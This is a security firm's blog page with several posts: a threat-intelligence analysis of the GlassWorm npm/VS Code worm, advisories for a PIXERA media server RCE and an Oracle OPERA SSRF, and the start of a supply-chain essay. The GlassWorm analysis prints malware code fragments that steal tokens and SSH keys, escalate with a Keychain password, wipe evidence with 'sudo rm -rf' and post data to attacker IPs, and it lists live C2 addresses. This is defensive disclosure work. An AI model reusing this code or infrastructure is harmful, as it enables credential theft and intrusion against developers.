Hong Kong

We Followed the Wallet: Tracking GlassWorm Through Nine C2 Rotations

Posted on by darklabhk

TL;DR

  • GlassWorm v2.31 is actively compromising developer workstations through trojanised npm packages and VS Code extensions; a coordinated industry takedown on 26 May 2026 was reversed by the operator within hours.
  • One infected developer silently spreads the malware to every package they maintain, putting downstream users and CI/CD pipelines at risk without any further attacker action.
  • The campaign routes its C2 through the Solana blockchain, making traditional domain or IP takedowns ineffective; it has operated continuously since November 2025 across 22 confirmed infrastructure rotations.
  • Security teams should audit npm publish rights, block the network indicators at the end of this report, and hunt for the staging artefacts on developer endpoints.

Introduction

On April 24, 2026, a Solana wallet executed a transaction that cost less than a fraction of a cent. To anyone watching the blockchain as a whole, it was noise in millions of daily memos moving through the network.

For our team, this was a signal we had been waiting for.

The wallet is BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC. We first started tracking it in November 2025 after identifying it as GlassWorm’s primary C2 beacon channel. That April transaction contained base64-encoded IP address, embedded in the memo field of a standard spl-memo transaction. The ninth since we started watching.

Within days, two fresh malware samples appeared in the wild. Both hardcoded the updated infrastructure. We pulled them both, and what we found in version string 2.31 — newer than any publicly documented GlassWorm variant — warranted this post.

Note: The behavioral and technical analysis in this report is based on GlassWorm v2.31 samples observed in April 2026. Infrastructure details, C2 rotations, and IOCs have been updated with observations through early June 2026 following the May 26 takedown.

The Glassworm Malware

GlassWorm is a self-propagating worm malware with infostealer and remote access trojan (RAT) capability that targets developers by hiding in trojanised npm packages and VS Code / Open VSX extensions. What makes it a worm is propagation through trust: once it steals a developer’s npm publish token, it can republish malicious code under that developer’s identity, silently infecting everyone downstream. Its command-and-control runs through the Solana blockchain and Google Calendar dead-drops, which makes conventional domain/IP takedowns largely ineffective. 

Why Developers Are the Target

Instead of social engineer approach (e.g. phishing), GlassWorm sits in the npm registry or the Open VSX marketplace, and waits for developers to come to it.

The credentials it harvests tell you everything about its targeting logic: npm publish tokens, GitHub Personal Access Tokens, CI/CD pipeline secrets, SSH private keys, cloud provider credentials. These belong to the engineers who sit at the centre of the modern software supply chain.

Run npm install on a malicious package and your credentials are already in transit to exfiltrated server by the time your terminal prompt returns.

What follows this “interaction” is that, a compromised developer with npm publish rights becomes an involuntary delivery vehicle. Their stolen token can republish malicious packages under their identity, silently extending the infection to every downstream user of their work. GlassWorm propagates through trust.

This is the supply chain threat model we outlined in Supply Chain As the Perimeter.[1] It is now actively playing out in production environments.

A Campaign We Have Been Watching Since November

Researchers first documented GlassWorm in March 2026, Russian-speaking criminal operators using trojanised npm packages to deliver a Remote Access Trojan.[2] Subsequent waves added Unicode obfuscation [3], macOS-specific infrastructure [4], and BitTorrent DHT as an alternative C2 channel [5]. In April 2026, researchers documented a parallel campaign that deployed 73 sleeper extensions to the Open VSX marketplace, six already activated at time of publication.[6]

The samples we analysed here carry version string 2.31, newer than the last publicly documented variant. Infrastructure has rotated twice since the previously tracked state.

On attribution: the Windows sample’s system-info collector contains Cyrillic variable labels toLocaleString(“ru-RU”) calls, Cyrillic field names. These are internal labels written in the developer’s own language. Earlier GlassWorm variants were reported to skip execution on Russian-locale systems; that check is absent in v2.31. Attribution to a Russian-speaking criminal actor is consistent across multiple researchers. Confidence: High.

The Blockchain Dead-Drop: How a $0.001 Transaction Redirects a Global Botnet

The Solana spl-memo program allows arbitrary UTF-8 text to be embedded in blockchain transaction memo fields. GlassWorm publishes C2 IP addresses there, base64-encoded:

Memo (raw) : {"link": "aHR0cDovLzQ1Ljc3LjYwLjE1Mw=="}
Decoded    : http://45.77.60.153

The malware queries api.mainnet-beta.solana[.]com — traffic that is indistinguishable from legitimate DeFi activity at the network level. The dropper hardcodes the current C2 IP at build time. But the persistence layer — %APPDATA%\bDXfQAchc\index.js — uses the Solana lookup on each subsequent beacon to follow rotations without ever requiring a malware update.

The defender implication: taking down the C2 server does not evict already-infected hosts. The next memo transaction, costing less than $0.001, redirects every infected machine globally to a new IP. We have watched this happen across 62+ memo transactions (16 rotations) as of early June 2026, with the most rapid activity being operator-driven infrastructure tests rather than implant beacons.

For organisations running legitimate DeFi applications, on-chain treasury operations, or blockchain analytics tooling, a blanket block on api.mainnet-beta.solana.com is not viable. The practical control is contextual: alert on Solana RPC calls originating from workstations, build systems, and developer laptops that have no sanctioned DeFi function. The domain is not inherently malicious — the question is whether the process making the request has any legitimate reason to be polling a blockchain. In most enterprise environments, the answer for a Node.js process spawned from an npm postinstall hook is no.

On 26 May 2026, CrowdStrike publicly announced the takedown of GlassWorm’s known C2 infrastructure in coordination with Google and Shadowserver. Within hours, the operator began rotating IPs. Between 26–29 May, three new IPs appeared across six memo transactions in just three days — the most rapid rotation sequence observed. Most notably on 29 May: 87-second burst of 4 test memos alternating 137.184.198.91 and 162.33.177.177 (operator verifying servers, not implant-driven rotation). Switched from Vultr to DigitalOcean. Current active C2 137.184.198.91 remains dominant.

RotationDateC2 IP
1Nov 2025217[.]69[.]11[.]60
2Dec 202545[.]32[.]151[.]157
3Jan 2026217[.]69[.]11[.]57
4Feb 202645[.]32[.]150[.]97
5Feb 2026217[.]69[.]11[.]99
6Mar 202645[.]76[.]44[.]240
7Mar 2026217[.]69[.]2[.]135
8Apr 2026217[.]69[.]0[.]159
9Apr 24, 202645[.]77[.]60[.]153 
10May 26, 2026137[.]184[.]198[.]91
Current active C2 (DigitalOcean)

What Changed in v2.31

A New C2 and a Dedicated Exfil Server

A Dead-Drop Resolver is a covert technique where threat actors hide malicious data inside legitimate online services to conduct evasive C2 communication. The malware reads from a publicly accessible resource rather than connecting directly to attacker infrastructure.

The Google Calendar dead-drop mechanism has been in use since at least March 2026. In March 2026, it was first reported that GlassWorm used Google Calendar as a dead-drop, embedding a base64 slug in a calendar event page to deliver the persistence path without publishing a new package.[7] The delivery vehicles at that time were react-native-country-select@0.3.91 and react-native-international-phone-number@0.11.8, using calendar.app.google/2NkrcKKj4T6Dn4uK6 and C2 45.32.150.251.

Dark Lab observed the same dead-drop architecture in the new v2.31 infrastructure : the Calendar URL has rotated to calendar.app.google/CcqGmLkERzV6kDa28 and C2 to 45.77.60.153, but the mechanism and the independent two-channel design are unchanged. The use of Google Calendar as a dead-drop is a relatively uncommon technique; it has also been documented in other advanced campaigns, though its appearance in financially motivated criminal tooling is a notable escalation.

doGLSkHlx(
  atob("aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL0NjcUdtTGtFUnpWNmtEYTI4"),
  (err, link) => tlvZhAS(atob(link), tlvZhASCall)
);
// atob(...) = https://calendar.app.google/CcqGmLkERzV6kDa28

The dropper fetches the Calendar URL, reads data-base-title from the page HTML, base64-decodes it to a slug, then GETs hxxp://45[.]77[.]60[.]153/<slug>. The C2 response delivers { script, iv, secretKey } — the persistence script is written to %APPDATA%\bDXfQAchc\index.js and registered via two independent mechanisms: a Scheduled Task named UpdateApp (AtLogon trigger) and a randomly-named key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Note that the two persistence entries are independent by design, with remediation requiring the removal of both malware, or the malware survives the next logon.

The two dead-drop channels also serve independent roles: Solana handles C2 IP rotation awareness; Google Calendar handles persistence payload delivery. Blocking Solana RPC kills the rotation beacon but leaves persistence delivery intact. Google Calendar simply cannot be realistically blocked in enterprise environments. Both channels need separate coverage.

w.node: The Browser Injector Without an Integrity Check

v2.31 downloads three native Node.js modules: c_x64.node (Chrome credential extraction), f_ex86.node (environment variable exfiltration), and w.node (browser injection). The first two validate their own file hash before executing — they abort on mismatch. w.node does not:

// c_x64.node — hash validated before execution:
const isValid = checkFileHash(pathModule, actualHash_c_x64);
if (!isValid) { return; }

// w.node — executed directly, no integrity check:
async function _runWNodeModule(unzipPATH) {
  console.log("[w.node] Starting browser inject module");
  // AES-128-CBC decrypt in-place, then eval(atob(...))

This is deliberate. c_x64 and f_ex86 are pinned to known builds; w.node can be swapped per-victim or per-campaign wave without touching the dropper. The operator has a flexible injection surface the dropper cannot attest to. If w.node ran on a host, the scope of browser compromise must be treated as unknown — you cannot bound it from the dropper alone.

The progression here is worth noting: fake browser extension (March) → w.node inside npm dropper (this report) → IDE sleeper extension (April reporting [8]). Each iteration moves the payload one level deeper into trusted tooling.

What v2.31 Collects

v2.31 expands credential collection on two dimensions relative to prior publicly documented GlassWorm reports: wallet coverage and file targeting.

Desktop wallets — beyond the browser extension targets documented previously:

WalletPlatformNotable
ElectrumWindowsFull wallet directory traversal
Daedalus (Cardano)WindowsFull-node wallet; common among ADA stake pool operators with multi-year accumulated rewards
Exodus, Atomic, CoinomiWindows/macOSCovered in prior GlassWorm reports

Daedalus is particularly notable. It is a full-node Cardano wallet frequently held by stake pool operators. Its explicit inclusion signals a deliberate multi-chain operation.

Beyond wallets, the Windows sample scans Documents\ and Desktop\ (four levels deep) for images whose filenames match any of 35 crypto-related keywords: “seed”, “mnemonic”, “bip39”, “ledger”, “trezor”, “2fa”, “recovery”, and 28 more. Filename matching only with no content inspection. Developers who photograph hardware wallet recovery screens or store backup codes as images are the intended target. If the device is wiped after detection, those images have already left the network.

OPSEC Regression: A Fixed Directory That Gives Them Away

The macOS sample randomises its staging directory ($TMPDIR/<random>/). The Windows sample does not:

var _tempF = process.env.TEMP + "\\afNxMgFco\\";

%TEMP%\afNxMgFco\ is fixed across every Windows infection. Zero expected false positives. If you find it, you have a confirmed compromise. Sweep your fleet.

The Windows dropper also fetches portable Node.js runtimes (v22.9.0, x86 and x64) directly from nodejs.org, storing them at %APPDATA%\_node_x86\ and %APPDATA%\_node_x64\. Under this infection chain, no Node.js installation required on the victim machine. This path is specific to the npm dropper; the Open VSX sleeper vector uses the IDE’s embedded runtime.

Under the Hood: Cross-Platform Execution

 macOSWindows
Lines of code3,2636,889
Staging dir`$TMPDIR/<random>/``%TEMP%\afNxMgFco\` (fixed)
Exfil endpoint`/wall``/wall` + `/log` (AES per-session)
PersistenceNot in dropper`%APPDATA%\bDXfQAchc\index.js` via PS1
Privilege escalationKeychain → sudoNot observed
Native modules1 `.node` addon3 addons (c_x64, f_ex86, w.node)
Desktop walletsNot observedExodus, Electrum, Guarda, Coinomi, Daedalus

macOS

On macOS, credential collection runs as a parallel promise chain before exfiltration:

function startExf() {
  Promise.allSettled([
    NqzZI(),           // GitHub token + SSH key theft
    anYeIk(),          // npm token theft
    envExfiltration()  // download + exec .node addon from C2
  ]).then(() => exfiltration());  // zip → POST /wall → self-delete
}

GitHub tokens are live-validated against `api.github.com/user` before staging, where working tokens go to tokenGit.txt, invalid ones to tokenGit_invalid.txt for offline review. SSH keys require a BEGIN PRIVATE KEY block; public keys and config noise are filtered. The operator is not collecting garbage; they are collecting working access.

macOS collection also attempts Keychain extraction with privilege escalation. If successful, it removes its own staging directory under sudo leaving no forensic trace:

const keychainPassword = child_process.execSync(
  "security 2>&1 find-generic-password -s 'pass_users_for_script' -w"
).trim();

// Tests Keychain password as sudo password:
child_process.execSync(`echo ${JSON.stringify(password)} | sudo -S -k whoami`);

// On success: wipes staging directory — evidence destroyed
child_process.execSync(`sudo rm -rf ${stagingDir}`);

Windows

The Windows execution chain is more layered. Credential collection, persistence installation, and module loading are all sequenced deliberately, with persistence and modules arriving only after every wallet directory has been processed. Note the sequence of the execution : collection, exfiltration, persistence, followed by module execution.

wcedE()
  → download Node.js x86 + x64 (nodejs.org, parallel)
  → cFhYVfTyQ()
      ├── token theft (npm, GitHub — live API validation)
      ├── collectAdditionalData()
      │     ├── .txt files (8 levels deep)
      │     ├── crypto-keyword images (4 levels)
      │     ├── cloud credentials (AWS, DO, Heroku, Terraform)
      │     └── system info (Cyrillic field labels)
      └── LNTMdy()  ← wallet directory scan
            [after ALL wallets collected]
            ├── script_zombi → Calendar dead-drop → index.js
            │     + Scheduled Task "UpdateApp" + HKCU Run key
            ├── _processArchiveAndRunModules()  ← 3 .node modules [parallel]
            └── POST hxxp://217[.]69[.]3[.]152:80/log

Conclusion

GlassWorm v2.31 shows a disciplined, incremental campaign that has been quietly improving its infrastructure, expanding its collection scope, and hardening its persistence architecture, over five months. That approach demonstrates restraint that makes it effective.

Under this threat model, developers are high-value targets precisely because they are trusted actors in systems that most security controls treat as safe by default : npm publish tokens, GitHub PATs, cloud credentials all play their respective parts in an attack ecosystem. The downstream blast radius of a single compromised developer account can extend far beyond what any individual threat indicator would suggest.

As we noted in Supply Chain As the Perimeter: “Signed binaries arriving through trusted update channels are not, by themselves, evidence of integrity.”

Even after the coordinated takedown on 26 May, the operator was able to re-establish control within days using fresh infrastructure. The speed of the late-May rotations shows the campaign remains active and adaptive.

Indicators of Compromise

File Hashes

HashTypeNote
886373754c3cc3bc232e994116c8e0efebc3d67ee5c98feca36bb5df71a5c1daSHA-256Windows dropper — v2.31 postinstall
48a997b76fe8317c6c8e6ffa8af0b2e509e8987cd10c196e3a7cb4d8e05e9dc8SHA-256macOS dropper — v2.31 postinstall

Network Indicators

IndicatorTypeRole
137[.]184[.]198[.]91IPActive C2 — rotated May 2026
208.85.20[.]124IPDedicated exfil server
208.76.223[.]59IPDedicated exfil server
217[.]69[.]3[.]152IPDedicated exfil server (Previous)
api.mainnet-beta.solana[.]comDomainSolana RPC — C2 IP rotation beacon
calendar[.]app[.]google/CcqGmLkERzV6kDa28URLGoogle Calendar dead-drop — persistence payload delivery

Historical C2 IPs

IP
217[.]69[.]11[.]60
45[.]32[.]151[.]157
217[.]69[.]11[.]57
45[.]32[.]150[.]97
217[.]69[.]11[.]99
45[.]76[.]44[.]240
217[.]69[.]2[.]135
217[.]69[.]0[.]159
45[.]77[.]60[.]153
45[.]32[.]147[.]205
162[.]33[.]177[.]177

File and Host Indicators

IndicatorTypeNote
%TEMP%\afNxMgFco\DirectoryFixed Windows staging dir — zero false positives
%APPDATA%\bDXfQAchc\index.jsFile pathWindows persistence script
%APPDATA%\_node_x86\DirectoryPortable Node.js x86 runtime
%APPDATA%\_node_x64\DirectoryPortable Node.js x64 runtime
ANLNqyTjx86.zipFilenameNode.js x86 runtime archive
znzvleRpUx64.zipFilenameNode.js x64 runtime archive
UpdateAppScheduled TaskAtLogon persistence — must be cleared on remediation
c_x64.node / f_ex86.node / w.nodeFilenameNative credential extraction modules

Solana

Indicator
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ
28PKnu7RzizxBzFPoLp69HLXp9bJL3JFtT2s5QzHsEA2
5m49aU7pMecF7WWHi2n2aL7UaAjVCn2mYBnTVMUpHNMQ
9h8p91NVckhiKLfkiQG5DY16AHQbQ1sLCsHnqRx7Mtvs

Recommendations

For Individual Developers

  • Rotate credentials before you investigate. Collection and exfiltration complete silently before any visible indicator appears. If you may be affected, revoke npm publish tokens, GitHub PATs, SSH keys, and cloud credentials immediately — forensics second.
  • Check `%TEMP%\afNxMgFco\` on every Windows machine you use for development. This directory name is fixed across every infection — if it exists, you are compromised.
  • Run `npm install --ignore-scripts` for packages you haven’t reviewed. GlassWorm activates in the postinstall hook. Disabling scripts removes the trigger.
  • Verify AI-suggested package names against the official npm registry and the project’s GitHub repository before installing. Do not trust coding assistant suggestions without independent confirmation of provenance.
  • If `w.node` ran, assume full browser compromise. Treat all saved passwords, cookies, and active sessions as stolen — the payload is swapped per-victim and scope cannot be determined from the dropper.

For Security Teams and Enterprises

Recommended ActionObserved Technique / Indicator
Alert on outbound connections to Vultr ASN 20473 or Digital Ocean AS 14061 from developer endpoints Historically dominant ASN (rotations 1–9); operator moved to DigitalOcean in May 2026 but may return — keep as a hunting indicator.
Hunt `%TEMP%\afNxMgFco\` across your Windows fleetFixed staging directory — zero false positives, fastest confirmation of compromise
Hunt Scheduled Task “UpdateApp” (AtLogon) AND random-named HKCU Run keys togetherBoth persistence entries must be cleared — either alone survives logon
Alert on non-browser processes making HTTPS requests to calendar.app.googleGoogle Calendar dead-drop delivers persistence payload — cannot be blocked at DNS
Monitor npm publish token usage for unexpected package versionsSupply chain propagation via stolen publish tokens — compromised dev extends infection to downstream users
Alert on `_node_x86` or `_node_x64` directories created under `%APPDATA%`Portable Node.js runtime deployment is specific to the npm dropper vector
For organisations with legitimate Solana RPC access: restrict outbound api.mainnet-beta.solana.com to approved DeFi services and alert on access from workstations, build systems, or developer endpoints with no sanctioned DeFi functionGlassWorm beacon traffic is indistinguishable from legitimate DeFi activity at the network layer — contextual allow-listing and process-level monitoring are required where a blanket block would disrupt production workloads

MITRE ATT&CK Mapping

Technique IDNameObserved In
T1195.002Supply Chain Compromise: Software Supply ChainTrojanised npm packages / Open VSX extensions
T1059.007Command and Scripting: JavaScriptNode.js dropper execution chain
T1102.001Web Service: Dead Drop ResolverSolana blockchain + Google Calendar C2 lookup
T1547.001Boot/Logon Autostart: Registry Run KeysRandom-named HKCU Run key persistence
T1053.005Scheduled Task/Job: Scheduled TaskUpdateApp scheduled task (AtLogon)
T1555.003Credentials from Password Stores: Web Browsersc_x64.node Chrome credential extraction
T1552.001Unsecured Credentials: Credentials In Filesnpm token, GitHub PAT, SSH key collection
T1552.004Unsecured Credentials: Private KeysSSH private key harvesting (BEGIN PRIVATE KEY check)
T1041Exfiltration Over C2 ChannelPOST to 217[.]69[.]3[.]152 /log and /wall
T1027Obfuscated Files or Informationbase64-encoded Calendar URL and C2 memos
T1496Resource HijackingCrypto wallet targeting — Daedalus, Electrum, Exodus
T1070.004Indicator Removal: File DeletionmacOS sudo rm -rf staging dir on successful Keychain extraction

Outlook

Nine rotations over five months are a sign of a persistent operation that has been running comfortably and at pace. The infrastructure renews before it is acted upon. The per-session AES keys prevent bulk decryption of intercepted traffic. The dead-drop architecture keeps infected hosts connected even after C2 takedowns.

What we expect next: the proliferation of AI coding tools will lower the barrier to initial access even further. The next campaign generation may not need a real package name. Attackers will register the packages that coding assistants hallucinate and wait. The delivery mechanism will remain npm install. The payload will remain silent. The developer will remain unaware until credentials have already rotated through a threat actor’s collection infrastructure on the other side of the operator’s remote infrastructure.

The trust developers place in their toolchains is the attack surface. Until that trust is earned through verifiable provenance : signed packages with reproducible builds, audited supply chains, automated publish-token rotation, GlassWorm and campaigns that follow its model will keep finding a way in.

RCE in PIXERA TWO Media Server (CVE-2026-7703, CVE-2026-7704)

Posted on by johnathan.law

Silhouetted crowd at a concert with hands raised, illuminated by bright stage lights.

The PIXERA TWO Media Server is an Audio-Visual (AV) solution widely adopted to create large-scale, high-quality visual experiences in live events, stage productions, and creative projects. PIXERA servers are typically deployed in internal or isolated networks as part of professional AV setups, where performance and stability are critical.

The following advisory presents two (2) vulnerabilities we uncovered in PIXERA, enabling an unauthenticated attacker to gain remote code execution (RCE) with Administrator privileges in the default configuration. AV Stumpfl responded to coordinated disclosure in a professional manner and patched the issues in version 25.2 R3.[1]

Overview

CVE-2026-7703 – Remote Code Execution in PIXERA TWO Media Server
CVSS v4.0: 8.8 / HIGH / 
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
Description: A vulnerability was identified in PIXERA TWO Media Server before 25.2 R3. A crafted payload delivered through a JSON-RPC API in its default configuration allowed unauthenticated users to gain remote code execution with Administrator privileges on the Windows host.
CVE-2026-7704 – Path Traversal in PIXERA TWO Media Server
CVSS v4.0: 6.9 / MEDIUM / CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Description: A vulnerability was identified in PIXERA TWO Media Server before 25.2 R3. A path traversal vulnerability allowed unauthenticated users to read arbitrary files on the Windows host.

Both vulnerabilities affect PIXERA’s HTTP web server, which defaults to port 1338 and exposes a JSON-RPC API over WebSocket.2 The API supports creative workflows and custom integrations such as remote control of video playback and visual effects. This flexibility is common across media server solutions, as it allows users to integrate a wide range of external tools and devices for creative purposes.  

By inspecting WebSocket traffic, we noticed the browser made an initial GetAddressDescriptions request over the JSON-RPC API, to which the server responded with a list of RPC commands. To our surprise, this list included commands to interact with the Windows filesystem, execute system commands, and initiate web requests, all of which were exposed in the default configuration. 

After toying around with different commands, we discovered that an unauthenticated attacker could use a specific Utils command to execute OS-level commands with Administrator privileges on the media server. This could be followed by unlocking further actions through UAC bypass or pivoting across the network. In practice, this means that an attacker could disrupt live events which could result in reputational damage and potentially compromise other parts of the system.  

We consider there to be low impact on confidentiality as media files are generally non-sensitive, especially ones meant to be displayed on-screen to an audience.

Screenshot of Burp on the left sending a websocket request with a Base64 powershell payload and a terminal on the right catching a reverse shell.

Remediation

  1. Upgrade to the latest PIXERA version. A patch was released in PIXERA version 25.2 R3 on Oct. 14, 2025. 
  1. Ensure sensitive functions such as filesystem, web-related, and system utility APIs are disabled. (References: Changelog, API Allowlist) 
  1. If upgrading PIXERA or disabling sensitive APIs is not possible, consider a workaround of applying strict IP whitelisting, such that the API service can only be accessed from dedicated, trusted sources. This could be implemented in the Windows Firewall of the PIXERA server, or at the network level by configuring the switch or router. 

General Best Practices

  1. Ensure PIXERA servers are deployed in isolated network environment and only accessible from whitelisted sources – internal or external. 
  1. Review deployments and apply security patches regularly 
  1. Regularly rotate default passwords and housekeep configurations. For instance, PIXERA servers may have VNC enabled with a default password. It is crucial this password be changed. 

Acknowledgements

Special thanks to the AV Stumpfl team during coordinated disclosure for their professional response and handling of the matter. 

Timeline

  • Jul. 28, 2025 – Report received by AV Stumpfl 
  • Sept. 16, 2025 – Disclosure to MITRE requesting CVE-ID (no response) 
  • Oct. 14, 2025 – Patch released (25.2 R3) by AV Stumpfl 
  • Apr. 15, 2026 – Disclosure to VulDB 
  • May 03, 2026 – Disclosure published by VulDB 

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Prioritizing Agentic Workflows Before Models: The Story Behind CVE-2026-34311

Posted on by darklabhk

Everyone is obsessing over which model powers their security agent. Is it the largest? The most expensive? The one topping the benchmarks?

We took a different bet. We ran with GLM-4.7 and uncovered CVE-2026-34311, a critical   unauthenticated SSRF in Oracle OPERA PMS (again!). GLM-4.7 is certainly not the flashiest model on the market, but instead it strikes a balance between cost and efficiency.

Our takeaway?

While the models do matter, a well-designed workflow or harness allows a lower-tier model to match the performance of a higher-tier one.

Large language models are capable of performing a multitude of complex tasks. But on their own, the models suffer from setbacks we’re well familiar with: limited context windows and a high signal-to-noise ratio (many false positives!). Human effort is wasted in the effort of plumbing prompts and validating nonsensical reports. A well-designed workflow mitigates these limitations and unlocks the full potential of an LLM — even with mid-tier models.

Here is our structured approach.

The Audit Workflow

We don’t just run tools; we use a multi-agent communication and supervision pipeline. By having agents cross-review and supervise each other, we minimize hallucinations, maintain a high completion rate, and ensure zero blind spots.

Flowchart illustrating a four-step process: 1. Surface Mapping & Profiling, 2. Multi-Agent Code Audit, 3. Cross-Review & Verification, 4. PoC & Chain Validation, culminating in a result statement: Low Hallucination, High Coverage.

Why this works:

  • Parallel auditing: Specialized perspectives independently audit the   entire   codebase.
  • Mutual supervision: Agents cross-review each other’s findings. If one perspective misses a bypass, another catches it.
  • Strict evidence rules: A finding is rejected unless it points to a real file, a real line number, and a reproducible path.

CVE-2026-34311: Unauthenticated SSRF in Oracle OPERA PMS

CVE-2026-34311   –   Unauthenticated SSRF in Oracle OPERA Property Management System (PMS)
CVSS v3.1: 9.8 / CRITICAL /   
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description: An unauthenticated Server-Side Request Forgery (SSRF) vulnerability has been identified in Oracle Hospitality OPERA 5, versions at and below 5.6.19.24, 5.6.22, 5.6.25.19, 5.6.27.6, 5.6.28. Attackers can leverage the vulnerability to invoke unauthorised requests, interact with the cloud metadata service to steal credentials, and pivot to internal systems.

Where is the Bug?

The flaw exists in the HXInterfaceProxy &nb  sp;servlet (WebClientProxy.java). Our workflow identified two critical failures:

1. No Authentication Required. The web.xml explicitly disables authorization:

<context-param>
<param-name>requireAuthorization</param-name>
<param-value>N</param-value> <!-- Anyone can access -->
</context-param>

2. Trivial Blocklist Bypass. The server reads the MF-WSCP-DESTINATION-URL header and makes a request to that URL. The “protection” is just a weak string-contains check:

if (var13 == null || !var13.toLowerCase().contains("//localhost:") 
    && !var13.contains("//127.0.0.1:")) {
    // Request allowed! Insufficient validation.
}

No IP resolution. No private range blocking. No cloud metadata protection.

By following the code flow, the agent determined that the destination URL is extracted from the request and later used to create an outbound HTTP connection. The validation in WebClientProxy.java only checks a limited set of localhost string patterns before forwarding the request.

// WebRequest.java:74 - Extracts the user-controlled destination URL from the request
this.destinationURL = this.removePIValue("DESTINATION-URL", var8);
// WebRequest.java:154-157 - Uses the extracted destination URL to create an outbound request
HTTPResponse forwardRequest(String var1) {
    URL var3 = new URL(this.destinationURL);
    HTTPConnection var4 = new HTTPConnection(var3);
    // ...
}
// WebClientProxy.java:60 - Performs only limited localhost string checks before forwarding
if (var13 == null || !var13.toLowerCase().contains("//localhost:".toLowerCase())
    && !var13.contains("//127.0.0.1:")) {
    HTTPResponse var15 = var12.forwardRequest(var10);
}

Impact and Validation Summary

The vulnerable servlet accepts a user-controlled destination URL through the MF-WSCP-DESTINATION-URL header and initiates outbound requests on behalf of the server. Due to insufficient validation and the absence of effective restrictions on internal or sensitive network destinations, the application may be coerced into accessing unintended resources.

The issue was validated in a controlled testing environment. Detailed exploit commands, request headers, and bypass payloads have been intentionally omitted from this public write-up.

The URL validation mechanism relies on a limited string-based blocklist and does not perform comprehensive hostname resolution or network destination validation. As a result, alternative address representations may not be adequately restricted.

How the Workflow Caught This

A single model might have seen the blocklist and concluded the risk was limited. Our workflow caught this by correlating separate findings into a single critical attack chain:

Diagram illustrating a workflow for cross-reviewing security flaws, including no authentication, user-controlled URL, and weak blocklist, leading to an unauthenticated SSRF vulnerability with a critical CVE score of 9.8.
  1. Authentication Review caught requireAuthorization=N.
  2. SSRF Analysis caught the user-controlled URL header.
  3. Cross-Review combined them: Unauthenticated + SSRF + weak blocklist = Critical.
  4. Bypass Validation systematically broke the blocklist.

Potential Attack Scenarios

  1. Cloud Credential Theft: Access AWS/Azure/GCP metadata services to steal IAM credentials
  2. Internal Network Scanning: Port scan internal infrastructure
  3. Data Exfiltration: Access internal databases and APIs
  4. Lateral Movement: Pivot to other internal systems
  5. Chained RCE: Combine with other vulnerabilities for remote code execution

Timeline

  • Mar. 05, 2026:   Discovered Unauthenticated Server-Side Request Forgery (SSRF) (now tracked as CVE-2026-34311).
  • Mar. 07, 2026:   Vulnerability report sent to Oracle Security Alerts.
  • May. 22, 2026:   Pre-release announcement by Oracle.
  • May. 28, 2026:   Public disclosure by Oracle.
  • May. 29, 2026:   Technical writeup and disclosure by Alex Lee @PwC DarkLab HK.

Acknowledgements

Special thanks to the Oracle Security Alerts team for coordinated disclosure. For more information about recent vulnerabilities affecting Oracle Hospitality, please read the advisory published by Oracle: https://www.oracle.com/security-alerts/cspumay2026.html.

CVE-2026-34311 was discovered by Alex Lee.

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Supply Chain As the Perimeter

Posted on by darklabhk

When the threat enters through the vendor, detection starts too late. Here is what we saw in the past twelve months — and what it demands from defenders.

The perimeter is dead — and the supply chain buried it.

Just over a month ago, we were invited by the Cyber Security and Technology Crime Bureau (CSTCB) of the Hong Kong Police Force to share our views on supply chain attacks with the industry.

Whilst ransomware and email compromise remain common intrusion vectors, our reflection on the past year of incidents flags a consistently emerging pattern; organisations are comparatively more prepared in responding to these ‘internal’ -type incidents.

Responding to an incident is not just about identifying the root cause and closing the ticket. What matters equally — sometimes more — is guiding the business back to safe operations and putting practical controls in place to prevent the next one. That is the part that rarely gets written about. This post is our attempt to change that.

We ask one question: when an attack enters through a trusted third party, how different does the response need to be?

Part 1: How We Got Here

A Timeline of Supply Chain Exploitation

Supply chain exploitation is not a new technique. What has changed in recent years however, is the surface area, the speed, and the stealth.

The canonical playbook — compromise a managed service provider (MSP), trojanise a software update, fan out to the customer base — dates back to at least 2013. ASUS Live Update (2019). SolarWinds SUNBURST (2020). Kaseya VSA (2021). 3CX (2023). XZ Utils (2024). The list is long, and it keeps growing.

What has changed is the target profile. Attackers are no longer just going after MSPs and software vendors. They are targeting the productivity tools your developers trust implicitly, the AI assistants with access to your code and cloud credentials, and the API integrations quietly holding your customers’ data. The software update mechanism is now just one of many trusted channels that can be weaponised.

YearIncidentWhy It Mattered
2017NotPetyaWeaponised software update — no malicious traffic before detonation; lateral movement was complete before EDR fired.
2020SolarWindsSUNBURST backdoor mimicked legitimate telemetry; dwell time ~14 months.
2021Log4jA logging library embedded invisibly in thousands of applications; no file drop, no binary.
2023X_TRADER / 3CXSupply chain attack feeding a second supply chain attack; binary was legitimately signed and widely whitelisted.
2024Xz-utilsBackdoor introduced over months by a credible contributor; caught only by an engineer noticing unusual SSH performance. Zero security alerts.
2024Salesloft DriftOAuth tokens stolen from a SaaS integration; attacker walked into Salesforce with a pre-authorised token — no failed login alerts.
2025Shai-Hulud / NPMSelf-propagating malware distributed via compromised NPM accounts; installed by a routine npm install.
2025Notepad++ BackdoorAPT Lotus Blossom compromised the software update path; binary was signed, installer was legitimate.
2026Exposed API KeysGoogle Cloud keys exposed publicly; abuse looked like legitimate API usage, detected only on a billing spike.
2026OpenClawMalicious agent skills execute inside a trusted AI process with user-level privileges; no clear boundary between normal and malicious activity.
2026CPUIDThe official website for the software product compromised to deliver an installer that delivers malware.

The Attack Surface Has Expanded

